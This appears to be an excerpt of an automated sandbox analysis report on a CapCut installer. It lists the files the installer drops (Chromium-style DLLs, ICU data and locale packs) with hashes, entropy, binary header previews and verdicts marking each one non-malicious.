                                                                                                                                                                                                                                                                        SHA-256:65CC75329D17EC264E7A2DB571EA55F918394241445EA64569A56C75D0CFDC60
                                                                                                                                                                                                                                                                        SHA-512:3DCCF6CE85EF7E75690A5851642F10BB5E6E1572E91E933BACB7FCBFE405B0412B94BA0E160C3BA8D68D2B9AFC1DA268F61C83DCCD6453D8C9470931EE900BFD
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." .....$#..................................................@B...........`A..........................................*.......*.(.............@...............B..3....).......................).(....R#.@............"*.P............................text....##......$#................. ..`.rdata..l....@#......(#.............@..@.data...x.....*.."....*.............@....pdata........@.......*.............@..@.00cfg..8.....A.......+.............@..@.gxfg....,....A.......+.............@..@.retplne......A.......+..................tls..........A.......+.............@..._RDATA..\.....A.......+.............@..@.reloc...3....B..4....+.............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\icudtl.dat

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):10542048
                                                                                                                                                                                                                                                                        Entropy (8bit):6.277141340322909
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:98304:OKPBQYOo+ddlymOk25flQCUliXUxiG9Ha93Whla6ZGdnp/8k:OKPBhORjOhCliXUxiG9Ha93Whla6ZGrn
                                                                                                                                                                                                                                                                        MD5:D89CE8C00659D8E5D408C696EE087CE3
                                                                                                                                                                                                                                                                        SHA1:49FC8109960BE3BB32C06C3D1256CB66DDED19A8
                                                                                                                                                                                                                                                                        SHA-256:9DFBE0DAD5C7021CFE8DF7F52458C422CBC5BE9E16FF33EC90665BB1E3F182DE
                                                                                                                                                                                                                                                                        SHA-512:DB097CE3EB9E132D0444DF79B167A7DCB2DF31EFFBBD3DF72DA3D24AE2230CC5213C6DF5E575985A9918FBD0A6576E335B6EBC12B6258BC93FA205399DE64C37
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html .Q....B.......B...#...B.. $...B..p$...B...$...B...%...B..`P...C...P...C...Q..(C......<C.....OC......bC..@...uC.......C..P....C.......C.......C..p....C.. ....C.......C.......D..p... D.....3D..0...FD.....YD.....lD.......D......D..0....D.......D..p....D......D..@....D.......E......E..@...*E.....=E..P...NE......bE.....rE..@....E.......E.......E..P....E.......E......E..@....F.......F.....'F..0...7F..P...JF......aF......qF...G...F.. H...F..`K...F...K...F...L...F...-...F...c...G....'.'G....'.>G..@.'.UG..0.'.oG....'..G...!'..G...!'..G..P&'..G...)'..G..@*'..H..`.(..H...e).7H..0.).VH...)*.xH....*..H....*..H...P+..H...Y+..H...Z+..I...]+. I..`^+.9I.. .+.UI....+.lI....+..I..P.-..I...=...I.......I.......I.. ....J..p....J......-J..p...EJ......ZJ......rJ..`....J..@....J.......J.......J..0....J.......J.......J..0....K..@....K..../.2K...,/.GK..../.\K..

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\libEGL.dll

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):481280
                                                                                                                                                                                                                                                                        Entropy (8bit):6.330677392522242
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:F9L2FFtoVsruIzUEzUST6uHKw+BubaOQ74PlqF8:F9CGafznzUSTRY70I
                                                                                                                                                                                                                                                                        MD5:1EECFB04C4434F5A813C8F0C0C8F2C88
                                                                                                                                                                                                                                                                        SHA1:6DC3CA4B3F72E7FB33BA26FA488DE323EDB59ADD
                                                                                                                                                                                                                                                                        SHA-256:897CEB95FB164640DDD2426673997B5F6FC2619FD916B038B575A70A0682A706
                                                                                                                                                                                                                                                                        SHA-512:D7818A42A76508AC3150AEA8D4E168B2DB36F55F71983A177002086380A82E307624CFE37B01FFC3D7EB407485D182654D0D7C6A0C06CCAAE60666630469C7E0
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." .....$................................................................`A........................................00......F>..(.......x.... ...C..............0....(.......................'..(...@A..@...........pA...............................text....".......$.................. ..`.rdata.......@.......(..............@..@.data....L....... ..................@....pdata...C... ...D..................@..@.00cfg..8....p......................@..@.gxfg...`$.......&..................@..@.retplne.............>...................tls....!............@..............@..._RDATA..\............B..............@..@.rsrc...x............D..............@..@.reloc..0............J..............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\libGLESv2.dll

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):7625728
                                                                                                                                                                                                                                                                        Entropy (8bit):6.463180789552528
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:98304:U8qvGdDtslh+LD3ZDWfnSvBSDU5bPm3k89Ld3gsOMt/:JD3ZXJ7bPWLWsD/
                                                                                                                                                                                                                                                                        MD5:CBA2436016F7A2838588A52D5B6F30F1
                                                                                                                                                                                                                                                                        SHA1:81DDF44B3E122DFBEE1A2CD8D4544364F1A621A4
                                                                                                                                                                                                                                                                        SHA-256:BCB3A3D2FCA3C33FA3D1D5DC976AA913CDC8001DF8E64C2CD3D2C545245141BF
                                                                                                                                                                                                                                                                        SHA-512:D92A880B5F83C5AE10AE9A83E38A293BB0E8C7659DD6ECE162FC752D57C9FCDE8036B81B023CD9F0F4F32B95B06FD4C366E20301010354B6CB904398A3149A44
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......Z...........M......................................`u...........`A..........................................k.8.....l.d....pt.......q.lO............t......vk.....................huk.(.....Z.@.............l.......k.@....................text...e.Z.......Z................. ..`.rdata..l.....Z.......Z.............@..@.data.........m..|....m.............@....pdata..lO....q..P....q.............@..@.00cfg..8.....t......Ps.............@..@.gxfg....+....t..,...Rs.............@..@.retplne.....@t......~s..................tls....:....Pt.......s.............@..._RDATA..\....`t.......s.............@..@.rsrc........pt.......s.............@..@.reloc........t.......s.............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\locales\af.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):377708
                                                                                                                                                                                                                                                                        Entropy (8bit):5.4079285675542845
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:ebGJWQdLX/Wi6fR9a5DhZ2FQPnUGSBhjA636Zi2Jyn9Ybt5KXpgmLwSVxJsVxSjf:6GJW2bOi6fRmZ2OPnUThjA636Zi2Jynd
                                                                                                                                                                                                                                                                        MD5:7E51349EDC7E6AED122BFA00970FAB80
                                                                                                                                                                                                                                                                        SHA1:EB6DF68501ECCE2090E1AF5837B5F15AC3A775EB
                                                                                                                                                                                                                                                                        SHA-256:F528E698B164283872F76DF2233A47D7D41E1ABA980CE39F6B078E577FD14C97
                                                                                                                                                                                                                                                                        SHA-512:69DA19053EB95EEF7AB2A2D3F52CA765777BDF976E5862E8CEBBAA1D1CE84A7743F50695A3E82A296B2F610475ABB256844B6B9EB7A23A60B4A9FC4EAE40346D
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........E...h.....i.....j.....k.....l.....n."...o.'...p.4...r.:...s.K...t.T...v.i...w.v...y.|...z.....|.....}.....................................................................................-.....>.....E.....N.....g.....p.....{...................................................../.....?.....K.....X.....y...........................................................<.....R.....W.....].....l.....y.....}.....................................................+.....9.....A.....I.....P.....U.....c.....s...............................................%.....J.....d.....m.....y...........................................................+.....2.....5.....6.....B.....L.....V.....].....g.............................O.....^.....k.................................................................".....5.....Q.....z....................................... .....".....%.....(.$...*.D...+.G...,.e........./.....0.....1.....3.....4.....5.....6.D...7.U...8.j...9.y...<.....=.....>.....?.....@.....A.....C.$...D.+.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\locales\am.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):613642
                                                                                                                                                                                                                                                                        Entropy (8bit):4.894733266944232
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:b3pIuPzq8xSTwO8sgjZz5E9VJAVtnuviQix30jH8+I:b3plq8xLO8zjZz5E9VJAVtSiQO
                                                                                                                                                                                                                                                                        MD5:2009647C3E7AED2C4C6577EE4C546E19
                                                                                                                                                                                                                                                                        SHA1:E2BBACF95EC3695DAAE34835A8095F19A782CBCF
                                                                                                                                                                                                                                                                        SHA-256:6D61E5189438F3728F082AD6F694060D7EE8E571DF71240DFD5B77045A62954E
                                                                                                                                                                                                                                                                        SHA-512:996474D73191F2D550C516ED7526C9E2828E2853FCFBE87CA69D8B1242EB0DEDF04030BBCA3E93236BBD967D39DE7F9477C73753AF263816FAF7D4371F363BA3
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........W...h.....i.....j.'...k.6...l.A...n.I...o.N...p.[...r.a...s.r...t.{...v.....w.....y.....z.....|.....}.........................................................................7.....S.....i.........................................L.....k.....m.....q...................................1.....A.....`.............................".....4.....=.....\.....~...................................5.....Q.....W.....Z.....i.............................K.....z.....................................................8.....G.....`.............................".........................................>.....A.....s.............................@.....G.....J.....K.....W.....`.....|.......................<............................./.....g.....w...............................................3.......................E.....j.....p.....x..................... .....".....%.6...(.c...*.....+.....,.........../.....0.....1.]...3.y...4.....5.....6.K...7.s...8.....9.....;.....<.....=.....>.?...?.I...@.i...A.....C...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\locales\ar.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):671738
                                                                                                                                                                                                                                                                        Entropy (8bit):4.903433286644294
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:gjptqBycpX8vYULIrmhkH+P5NNb++YTzgpPMgSENeX:BB2um5S++
                                                                                                                                                                                                                                                                        MD5:47A6D10B4112509852D4794229C0A03B
                                                                                                                                                                                                                                                                        SHA1:2FB49A0B07FBDF8D4CE51A7B5A7F711F47A34951
                                                                                                                                                                                                                                                                        SHA-256:857FE3AB766B60A8D82B7B6043137E3A7D9F5CFB8DDD942316452838C67D0495
                                                                                                                                                                                                                                                                        SHA-512:5F5B280261195B8894EFAE9DF2BECE41C6C6A72199D65BA633C30D50A579F95FA04916A30DB77831F517B22449196D364D6F70D10D6C5B435814184B3BCF1667
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........*...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.!...v.6...w.C...y.I...z.X...|.^...}.p.....x.....}.................................................................'.....^.....n...................................'.....*...........V.....x.........................................G.....].....p...............................................o...................................................../.....Q.....s.......................(....._.....i.....q.....x.............................#.....:.....m.......................).....Z.....k.........................................$.....?.....U.....k...........................................................p.................7.....L.....h.......................!.....1.....9.....E.....g.......................&.....Z............................................. .'...".D...%.x...(.....*.....+.....,.6.....M.../.~...0.....1.....3.....4.....5.,...6.....7.....8.....9.....;.....<.:...=.P...>.....?.....@.....A.....C.....D.....E.!...F._.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\locales\bg.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):701716
                                                                                                                                                                                                                                                                        Entropy (8bit):4.66095894344634
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:7Od6KqVw2iILlY+dAs1aQUfjoaVV4FH2mFxvx35uKN3CuKb7szmV2Jfu64K+z5jG:KsKqJi6lY+dAs1aQU7yZx35uK4XQzQI9
                                                                                                                                                                                                                                                                        MD5:A19269683A6347E07C55325B9ECC03A4
                                                                                                                                                                                                                                                                        SHA1:D42989DAF1C11FCFFF0978A4FB18F55EC71630EC
                                                                                                                                                                                                                                                                        SHA-256:AD65351A240205E881EF5C4CF30AD1BC6B6E04414343583597086B62D48D8A24
                                                                                                                                                                                                                                                                        SHA-512:1660E487DF3F3F4EC1CEA81C73DCA0AB86AAF121252FBD54C7AC091A43D60E1AFD08535B082EFD7387C12616672E78AA52DDDFCA01F833ABEF244284482F2C76
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........P...h.....i.....j.....k.%...l.0...n.8...o.=...p.J...r.P...s.a...t.j...v.....w.....y.....z.....|.....}.........................................................................F.....h...............................................[.........................................#.....Q.....x...................................[.........................................T...............................................'.....U......................./.....c...............................................>.....s.............................4.....^................. .....9.....V.....l...................................\...............................................&.....B.....S.....v...............................................O.....r...................................0.......................9.....z.......................-.....[............... .....".....%.....(.E...*.q...+.t...,.........../.....0.....1.....3.....4.....5.....6.....7.....8.....9.....;.3...<.G...=._...>.....?.....@.....A.....C.F.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\locales\bn.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):904943
                                                                                                                                                                                                                                                                        Entropy (8bit):4.273773274227575
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:1536:wqf22AwWk+ADszaaH0PaMadiMNKVbVtQW01jilDouMGsW2uMBVr+9RU4yVS5PMxq:1zW/AMfafVoCp8YbkJBbdJ2DB5y0XlRB
                                                                                                                                                                                                                                                                        MD5:5CDD07FA357C846771058C2DB67EB13B
                                                                                                                                                                                                                                                                        SHA1:DEB87FC5C13DA03BE86F67526C44F144CC65F6F6
                                                                                                                                                                                                                                                                        SHA-256:01C830B0007B8CE6ACA46E26D812947C3DF818927B826F7D8C5FFD0008A32384
                                                                                                                                                                                                                                                                        SHA-512:2AC29A3AA3278BD9A8FE1BA28E87941F719B14FBF8B52E0B7DC9D66603C9C147B9496BF7BE4D9E3AA0231C024694EF102DCC094C80C42BE5D68D3894C488098C
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........K...h.....i.....j.....k.$...l./...n.7...o.=...p.J...r.P...s.a...t.j...v.....w.....y.....z.....|.....}.............................................................................................................7.....a.......................".....$.....(.....P.......................+.....T.....p.......................H...................................M.....c...........5.....D....._.........................................A.....z.................B.......................................................................H.....a.....s.........................................B.....g.............................3.....W.....{...............................................>...........j...................................6.....R.........................................g...........9.....u...........V...................................8... .M...".....%.....(. ...*.\...,._........./.....0.....1.`...3.....4.....5.....6.....7.....8.E...9.d...;.....<.....=.....>."...?.5...@.j...A.....C.3...D.S.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\locales\ca.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):426906
                                                                                                                                                                                                                                                                        Entropy (8bit):5.400864409916039
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:+XnGrijIs3cSlFEYLCJBB43nbhjJSwmrwiwWzM1ldLbpuQ16BtryBBwIle3nei3X:iNV4ossMNu51hnW5CptA
                                                                                                                                                                                                                                                                        MD5:D259469E94F2ADF54380195555154518
                                                                                                                                                                                                                                                                        SHA1:D69060BBE8E765CA4DC1F7D7C04C3C53C44B8AB5
                                                                                                                                                                                                                                                                        SHA-256:F98B7442BEFC285398A5DD6A96740CBA31D2F5AADADD4D5551A05712D693029B
                                                                                                                                                                                                                                                                        SHA-512:D0BD0201ACF4F7DAA84E89AA484A3DEC7B6A942C3115486716593213BE548657AD702EF2BC1D3D95A4A56B0F6E7C33D5375F41D6A863E4CE528F2BD6A318240E
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........N...h.....i.....j.....k.!...l.,...n.4...o.9...p.F...r.L...s.]...t.f...v.{...w.....y.....z.....|.....}...............................................................................6.....O.....o.....|.....................................................2.....J.....j.....q...........................................................1.....;.....M.....].......................................................................D.....i.................................................................+.....2.....?.....u.........................................".....5.....F.....b.....e.....}.............................................................................&.....h......................./.....P.....s.....................................................4.....P.....|...............................................:.....F... .Q...".g...%.....(.....*.....+.....,.........../.-...0.2...1.h...3.x...4.....5.....6.....7.....8.....9.(...;.6...<.D...=.R...>.l...?.v...@.....A.....C.....D.....E...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\locales\cs.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):436202
                                                                                                                                                                                                                                                                        Entropy (8bit):5.843819816549512
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:U4ftEfqE2jv7ShUjBA59wjd558YAGKND9Gto8QV:U41HE2jjShqywjd558YAbNDcI
                                                                                                                                                                                                                                                                        MD5:04A680847C4A66AD9F0A88FB9FB1FC7B
                                                                                                                                                                                                                                                                        SHA1:2AFCDF4234A9644FB128B70182F5A3DF1EE05BE1
                                                                                                                                                                                                                                                                        SHA-256:1CC44C5FBE1C0525DF37C5B6267A677F79C9671F86EDA75B6FC13ABF5D5356EB
                                                                                                                                                                                                                                                                        SHA-512:3A8A409A3C34149A977DEA8A4CB0E0822281AED2B0A75B02479C95109D7D51F6FB2C2772CCF1486CA4296A0AC2212094098F5CE6A1265FA6A7EB941C0CFEF83E
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:......../...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.(...v.=...w.J...y.P...z._...|.e...}.w.........................................................................................#.....,.....9.....V.....d.........................................!.....?.....L.....X.....d.....o.....................................................".....4.....E.....{.......................................................................8.....O.....d.....{.................................................................H.....Z.....h.....................................................9.....<.....J.....X.....h.....w.................................................................!.....p.......................".....>.....s.....................................................&.....N.....n.........................................+.....5... .=...".N...%.u...(.....*.....+.....,.........../.....0.....1.H...3.V...4.s...5.....6.....7.....8.....9.....<."...=.,...>.A...?.I...@.[...A.....C.....D...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\locales\da.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):396104
                                                                                                                                                                                                                                                                        Entropy (8bit):5.454826678090317
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:Q3rSn4RJ28687mlwlGXaJwZkqEb1Phv6VP5yarXGzOJixhd4/TWwS:eND/xqkqEO5nrFTq
                                                                                                                                                                                                                                                                        MD5:1A53D374B9C37F795A462AAC7A3F118F
                                                                                                                                                                                                                                                                        SHA1:154BE9CF05042ECED098A20FF52FA174798E1FEA
                                                                                                                                                                                                                                                                        SHA-256:D0C38EB889EE27D81183A0535762D8EF314F0FDEB90CCCA9176A0CE9AB09B820
                                                                                                                                                                                                                                                                        SHA-512:395279C9246BD30A0E45D775D9F9C36353BD11D9463282661C2ABD876BDB53BE9C9B617BB0C2186592CD154E9353EA39E3FEED6B21A07B6850AB8ECD57E1ED29
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........[...h.....i.)...j.5...k.D...l.O...n.W...o.\...p.i...r.o...s.....t.....v.....w.....y.....z.....|.....}.........................................................................?.....M.....].....q.....y...........................................................4.....K.....R.....].....m.....t...........................................................5.....F.....u.............................................................................9.....T.....m.....w.....z................................................................./.....E.....k.............................................................................+.....2.....5.....6.....=.....F.....L.....S.....^.............................X.....n.......................................................................F.....[................................................... .....".....%.,...(.T...*.....+.....,.........../.....0.....1.....3.....4.%...5.=...6.o...7.....8.....9.....;.....<.....=.....>.....?.....@.....A.%...C.B...D.L.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\locales\de.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):424277
                                                                                                                                                                                                                                                                        Entropy (8bit):5.503137231857292
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:TFigju3qg4wajEzUKnYm31SOmhqYl51gHNiOIkCJD:TFiecqg1aqHSOu599kCJD
                                                                                                                                                                                                                                                                        MD5:8E6654B89ED4C1DC02E1E2D06764805A
                                                                                                                                                                                                                                                                        SHA1:FF660BC85BB4A0FA3B2637050D2B2D1AECC37AD8
                                                                                                                                                                                                                                                                        SHA-256:61CBCE9A31858DDF70CC9B0C05FB09CE7032BFB8368A77533521722465C57475
                                                                                                                                                                                                                                                                        SHA-512:5AC71EDA16F07F3F2B939891EDA2969C443440350FD88AB3A9B3180B8B1A3ECB11E79E752CF201F21B3DBFBA00BCC2E4F796F347E6137A165C081E86D970EE61
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:............h.V...i.g...j.s...k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.............#.....+.....3.....;.....B.....I.....P.....Q.....R.....T...........................................................$.....:.....<.....@.....h.....}.....................................................-.....Q.....d.....j.....s...............................................4.....K.....O.....R.....[.....t...................................D.....Q.....[.....c.....j.....p.....}...............................................0.....d.................................................................6.....O.....i.....p.....s.....t.....~...................................=...................................6.....?.....Q.....[.....h.....m.....r...................................(.....Y.....u.....{........................... .....".....%.....(.....*./...+.2...,.P.....a.../.w...0.....1.....3.....4.....5.....6.A...7.U...8.i...9.w...;.....<.....=.....>.....?.....@.....A.....C.....D.%.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\locales\el.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):769050
                                                                                                                                                                                                                                                                        Entropy (8bit):4.75072843480339
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:H/58dBquNw2202pgtZSWjZ4LIbsJvaP5A3HKQiEQBR07391qf2utKMaBlS9WffFR:H8BquNw2202pgtsWjyLrJvaRA3HtiEQG
                                                                                                                                                                                                                                                                        MD5:9528D21E8A3F5BAD7CA273999012EBE8
                                                                                                                                                                                                                                                                        SHA1:58CD673CE472F3F2F961CF8B69B0C8B8C01D457C
                                                                                                                                                                                                                                                                        SHA-256:E79C1E7A47250D88581E8E3BAF78DCAF31FE660B74A1E015BE0F4BAFDFD63E12
                                                                                                                                                                                                                                                                        SHA-512:165822C49CE0BDB82F3C3221E6725DAC70F53CFDAD722407A508FA29605BC669FB5E5070F825F02D830E0487B28925644438305372A366A3D60B55DA039633D7
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........M...h.....i.....j.....k.....l.(...n.0...o.5...p.B...r.H...s.Y...t.b...v.w...w.....y.....z.....|.....}.........................................................................P.....w.............................B.....N.....Z...................................+.....x...................................h.....y.............................&.....C.....a.................,.....4.....H.....o...................................!.....M.................8...............................................1....._.....w.................!.....2.....q.................J.....a.........................................,.....O.....|.........................................!.....3.....F.....^.......................,.................<.............................(.....;.....I.......................M.................T.................................../... .B...".e...%.....(.....*.7...+.:...,.X........./.....0.....1.m...3.....4.....5.#...6.....7.....8.....9. ...;.a...<.w...=.....>.....?.....@.....A.B...C...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\locales\en-GB.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):344606
                                                                                                                                                                                                                                                                        Entropy (8bit):5.5169703217013675
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:80kjE55JcUnMP9egFXwqfaYnT9Xa5alSeBNdg:80kQJZnM1XwWT05YScg
                                                                                                                                                                                                                                                                        MD5:D59E613E8F17BDAFD00E0E31E1520D1F
                                                                                                                                                                                                                                                                        SHA1:529017D57C4EFED1D768AB52E5A2BC929FDFB97C
                                                                                                                                                                                                                                                                        SHA-256:90E585F101CF0BB77091A9A9A28812694CEE708421CE4908302BBD1BC24AC6FD
                                                                                                                                                                                                                                                                        SHA-512:29FF3D42E5D0229F3F17BC0ED6576C147D5C61CE2BD9A2E658A222B75D993230DE3CE35CA6B06F5AFA9EA44CFC67817A30A87F4FAF8DC3A5C883B6EE30F87210
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:..........h.h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.(...v.=...w.J...y.P...z._...|.e...}.w...........................................................................................................3.....;.....E.....c.....t.....v.....z...........................................................+.....:.....T.....g.....k.....q...................................................................................,.....:.....S.....h.....{.......................................................................+.....5.....A.....X.....h.................................................................(.....=.....R.....f.....m.....p.....q.....x..................................................... .....P.....].....h.......................................................................-.....D.....l....................................... .....".....%.....(.....*.....+.....,./.....@.../.N...0.W...1.....3.....4.....5.....6.....7.....8.....9.(...;.9...<.A...=.L...>.a...?.i...@.x...A...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\resources.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):5245458
                                                                                                                                                                                                                                                                        Entropy (8bit):7.995476669559971
                                                                                                                                                                                                                                                                        Encrypted:true
